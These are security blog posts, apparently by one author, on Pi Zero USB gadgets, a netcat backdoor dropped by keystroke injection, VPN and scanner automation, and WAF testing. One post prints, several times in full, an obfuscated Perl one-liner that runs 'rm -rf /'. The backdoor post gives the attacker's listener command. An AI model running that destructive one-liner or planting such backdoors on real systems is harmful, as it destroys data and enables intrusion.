KaliZero: A piZero USB Gadget Running Kali

I have been playing with my stack of pizero a bunch lately and tonight I decided to put together a piZero OTG Ethernet gadget that runs Kali (Really KaToolin),  XRDP and Mate in a computer on a stick configuration.  This way I have a full (as I want it to be) Kali installation with me as long as I have access to a USB port.

 
Here are the steps to build your own:
Install your pizero as an ethernet gadget.
Share your internet connection with your piZero:

You can now login into your PiZero at:
[email protected]

Copy and Run this shell script:
https://gist.github.com/jgamblin/d929d98acca84140684f1d06bfaf6336
Reboot:
sudo reboot
Configure RDP and access your KaliZero:
Use KaToolin to install the tools you want:
sudo katoolin
**Be Warned:  The piZero is slow.  It is usable for basic tasks but is not amazing.

Installing netcat backdoors with a piZero

I have been playing with my stack of piZero’s recently and started to read about the kernel OTG gadgets and was intrigued by the OTG_HID gadget.  So after doing some reading I found that someone had ported the USB Rubber Ducky platform to the piZero and called it rspiducky.
Building it is fairly straight forward but if you if you want a ready made solution I put a precompiled copy of the .img file here.
Once you get the image to your SD card (sudo dd if=duckberrypi_zero_minibian_05.img of=/dev/disk*/ bs=4m) you then start putting your payload into (surprise) payload.dd.
It is amazingly easy to drop a NetCat backdoor using this method.  You just need a publically available server you can run nc -l -p 443 -vvv on. 
Here is a non-persistent example:
https://gist.github.com/jgamblin/348254c8d3e9b94f9214e9ad5473a44e
Here is a persistent example via a cron job:
https://gist.github.com/jgamblin/158ea8a5c2459e74541f89ca728e66a0
Here is the script running:

Here is what the NC backdoor looks like:

Bonus Scripts:

Type the longest word in the world 100,000 times:
https://gist.github.com/jgamblin/c18c5818c6055cb9bb7394787cf8f9a5

Hide all windows 100,000 times:
https://gist.github.com/jgamblin/f2762d9da59c07a273a2028379052cc2
Hello World test script:
https://gist.github.com/jgamblin/0c2ca413b90e72c1e3fa1f9f53dc6fc6

As always have fun and only do good with these tools. 

PiZero USB VPN SideCar

Thanks to PoisonTap I have finally had a reason to pull my PiZero out of the ever growing “Stuff to Hack” pile and start  working on it.   I have a couple of neat ideas that are coming down the pipeline but this weekend I built a VPN sidecar using a USB OTG Gadget. I wanted to be able to use the PiZero to offload some slow processes (big nmap scans) and as a place to verify findings through an always on VPN connection (I like and use Private Internet Access).
Configuration  is fairly simple and only takes about 30 minutes: 
Install your pizero as an ethernet gadget.
Share Your Internet Connection With Your PI:

You can now login into your PiZero at:
[email protected]

Update Your Pi and install OpenVPN:
sudo apt-get update && sudo apt-get -y dist-upgrade
sudo apt-get -y install openvpn
wget https://www.privateinternetaccess.com/openvpn/openvpn.zip
unzip openvpn.zip -d openvpn
sudo cp openvpn/ca.rsa.2048.crt openvpn/crl.rsa.2048.pem /etc/openvpn/
sudo cp "openvpn/US Texas.ovpn" "/etc/openvpn/Texas.conf"
#You can use a diffrent VPN endpoint if you like. Note the extension change from ovpn to conf.
sudo reboot


Create /etc/openvpn/login containing only your username and password, one per line, for example:
username
password123
Change the permissions on this file so only the root user can read it:
sudo chmod 600 /etc/openvpn/login
Setup OpenVPN to use your stored username and password by editing the the config file for the VPN endpoint:
sudo nano /etc/openvpn/Texas.conf
Change the following lines so they go from this:
auth-user-pass > auth-user-pass /etc/openvpn/login
crl-verify crl.rsa.2048.pem > crl-verify /etc/openvpn/crl.rsa.2048.pem
ca ca.rsa.2048.crt > ca /etc/openvpn/ca.rsa.2048.crt
Test VPN:
sudo openvpn --config /etc/openvpn/Texas.conf
If the VPN is working you will see:

Next step is to enable VPN at boot:
sudo systemctl enable [email protected]
sudo reboot
After reboot verify VPN connection:

You now have an always on PiZero USB VPN SideCar! Have fun.   🙂

Automated Burp Suite Scanning and Reporting To Slack.

In the last two years Burp Suite Proxy has become my go to web application security scanner.  As with everything recently if I can automate it, I do.   So this weekend I built a simple script to scan a website with Burp, create a PDF report and post it to Slack:

Here is how I set it up:

https://gist.github.com/jgamblin/90c7aa1b369d1aa1e77b0af03216b9e1

  • Copy this line to your crontab to run this scan at 0100 on Mondays:
    00 01 * * 1 ./autoburp.sh
  • Enjoy weekly automated burp scanning and slack reporting of  your website.

Automated W3AF Scanning with Slack Alerting

I have recently been  automating a lot of my technical security tasks and building slack bots around them and it was w3af‘s turn.   W3af is an amazing open source web application security scanner that my friend Andres Riancho writes and maintains.
The goal of this project was to build scheduled and automated scans of my web properties with pdf reporting and slack alerting:
Configuration is fairly easy.

  • Create a SlackBot and copy API Key.
  • Update and install needed software on server:
    sudo apt-get update && sudo apt-get dist-upgrade
    sudo apt-get w3af
  • Install wkhtml2pdf in headless mode.
  • Create necessary folders:
    sudo mkdir /w3af
  • Copy this shell script and up token:

https://gist.github.com/jgamblin/ae1bdb24113788e70b91d0cc826a163f

  • Copy this w3af config file:

https://gist.github.com/jgamblin/2133162778e1d438f57114946b6244d6

  • Copy this line to your crontab to run this scan every night at midnight:
    00 00 * * * ./w3af/w3af.sh
  • Enjoy automated w3af scans with slack alerting.

Continuous Network Monitoring With Slack Alerting

As I have talked about before “You can’t defend what you dont know exists”  so today while sitting around and trying to recover from walking pneumonia  I wrote slackmap to continually nmap a network and post the differences to slack:

Configuration is amazingly easy.   I run a copy of this on a $5 a month Digitalocean Droplet for an external view and a Raspberry Pi for internal scanning.

  • Create a SlackBot and copy API Key.
  • Update and install needed software on server:
    sudo apt-get update && sudo apt-get dist-upgrade
    sudo apt-get install ssmtp nmap xsltproc
  • Create necessary folders:
    sudo mkdir /nmap/
    sudo mkdir /nmap/diffs
  • Copy this to /nmap/slackmap.sh and add SlackBot API key to Line 8:

https://gist.github.com/jgamblin/7d64a284e5291a444e12c16daebc81e0

  • Copy this line to your crontab to run this scan every 15 minutes (make longer for bigger networks):
    */15 * * * * /nmap/slackmap.sh
  • Enjoy a new level of network visibility. : )

Continuous Network Monitoring

I am often asked  “What is the easiest thing companies can do to secure their networks?” and my answer is always always “Know what is on your network.”   While that is simple advice it is a lot harder to implement.   One company I was working with was looking at a system to do continuous network monitoring (read: scheduled nmap scans) for $40,000 a year.
After I cried for the state of my industry I told them I could do this for them with a small shell script, a $5 a month Digital Ocean Droplet and a free Sendgrid account.
Here is how I did it:

  • Created a free Sendgrid account.
  • Spun up $5 a Month Digitalocean Ubuntu Droplet.
  • Added a nmaper.company.com DNS record to be perfectly clear waht the box was doing.
  • Updated and installed needed software:
    sudo apt-get update && sudo apt-get dist-upgrade
    sudo apt-get install ssmtp nmap xsltproc
  • Created necessary folders:
    mkdir /root/nmap/
    mkdir /root/nmap/diffs
  • Edit /etc/ssmtp/ssmtp.conf with this:
    [email protected]
    mailhub=smtp.sendgrid.com
    rewriteDomain=
    [email protected]
    UseSTARTTLS=YES
    AuthUser=jgamblin
    AuthPass=password
    FromLineOverride=YES
  • Copy this to /root/namp/scan.sh:
    #!/bin/sh
    TARGETS="jerrygamblin.com scanme.nmap.org"
    OPTIONS="-v -sV -T4 -F --open"
    date=$(date +%F%T)
    cd ~/nmap/diffs
    nmap $OPTIONS $TARGETS -oA scan-$date > /dev/null
    email()
    {
    /usr/sbin/ssmtp [email protected] <<EOF
    From: [email protected]
    Subject: nmap ndiff$(date +"%Y-%m-%d")*** NDIFF RESULTS ***
    $(cat diff-$date)
    EOF
    }
    if [ -e scan-prev.xml ]; then
    ndiff scan-prev.xml scan-$date.xml > diff-$date
    [ "$?" -eq "1" ] && email
    fi
    ln -sf scan-$date.xml scan-prev.xml
  • Test (add cat diff-$date to bottom of the script to see output.)
  • Add a cron job to crontab to run every 15 minutes (or hour for bigger networks)
  • Talk your boss into buying you something awesome with the $39,970 in savings.

It was as simple as that and I put this together in an afternoon.  Up next is to build a Slackbot and an  to deliver the differences to their slack channel.
 

Ubuntu Remote Desktop On Digital Ocean

I use DigitalOcean for a majority of my testing and from time to time I need a desktop environment to run some of my tools (like burp). After spending much more time than I want to admit I have it  down to these 10 commands to bring a Ubuntu + Mate + XRDP desktop to a Ubuntu Droplet :
sudo apt-get update && sudo apt-get dist-upgrade -y
sudo apt-get install --no-install-recommends ubuntu-mate-core ubuntu-mate-desktop -y
sudo apt-get install mate-core mate-desktop-environment mate-notification-daemon xrdp -y
adduser burp
usermod -aG admin burp
usermod -aG sudo burp
su - burp
echo mate-session> ~/.xsession
sudo cp /home/burp/.xsession /etc/skel
sudo service xrdp restart
From there you can use any RDP viewer to connect to your droplet: Screen Shot 2016-10-19 at 9.15.22 PM
 

‘rm -rf /’ still works on OSX

Earlier this week someone sent me this one line perl script (that you shouldn’t run):
perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;; y; -/:[email protected][-`{-};`-{/" -;;s;;$_;see'

Due to some really clever code obfuscation  it runs rm -rf /.
You  can deobfuscate (is that word?) with this:
perl -e 's;;=]=>%-{<-|}<&|`{;; y; -/:[email protected][-`{-};`-{/" -;;print "$_\n"'
While trying to figure out how this code code I stumbled upon the fact that OSX does not require  --no-preserve-root which has been required since version 6.4 of GNU Core Utilities which was released in 2006.
Here is what happens if you run perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;; y; -/:[email protected][-`{-};`-{/" -;;s;;$_;see'  on Ubuntu 16:10:
Screen Shot 2016-10-16 at 7.54.36 PMHere is what happens if you run perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;; y; -/:[email protected][-`{-};`-{/" -;;s;;$_;see'  on MacOS 10.12:
2016-10-16 19.59.13
This seems like a pretty big oversight by the Apple Team and I have filled a bug report but haven’t heard anything yet.

WAF Testing With Random User Agents.

Recently I have been working with some NGFW tools to automatically detect and block when someone is scraping, brute forcing or “load testing” your website.   I quickly ran into a problem where none of the tools I use would allow me to quickly change user agents so I put together a couple of quick scripts that call one of 7500 valid user agents from this file.
First I went with the old standby of CURL which does the job but I was only able to do 10 requests in 4 seconds.
Here is what the output of curl.sh looks like:

That was not going to be fast enough for my testing needs so I switch to Apache Bench and am able to do 1,000 requests in 2 seconds. Which was what I need to do proper testing.
Here is what the output of ab.sh looks like:

All the scripts are in this GitHub Repo.
As always:  Use these for good, not bad.

Site Footer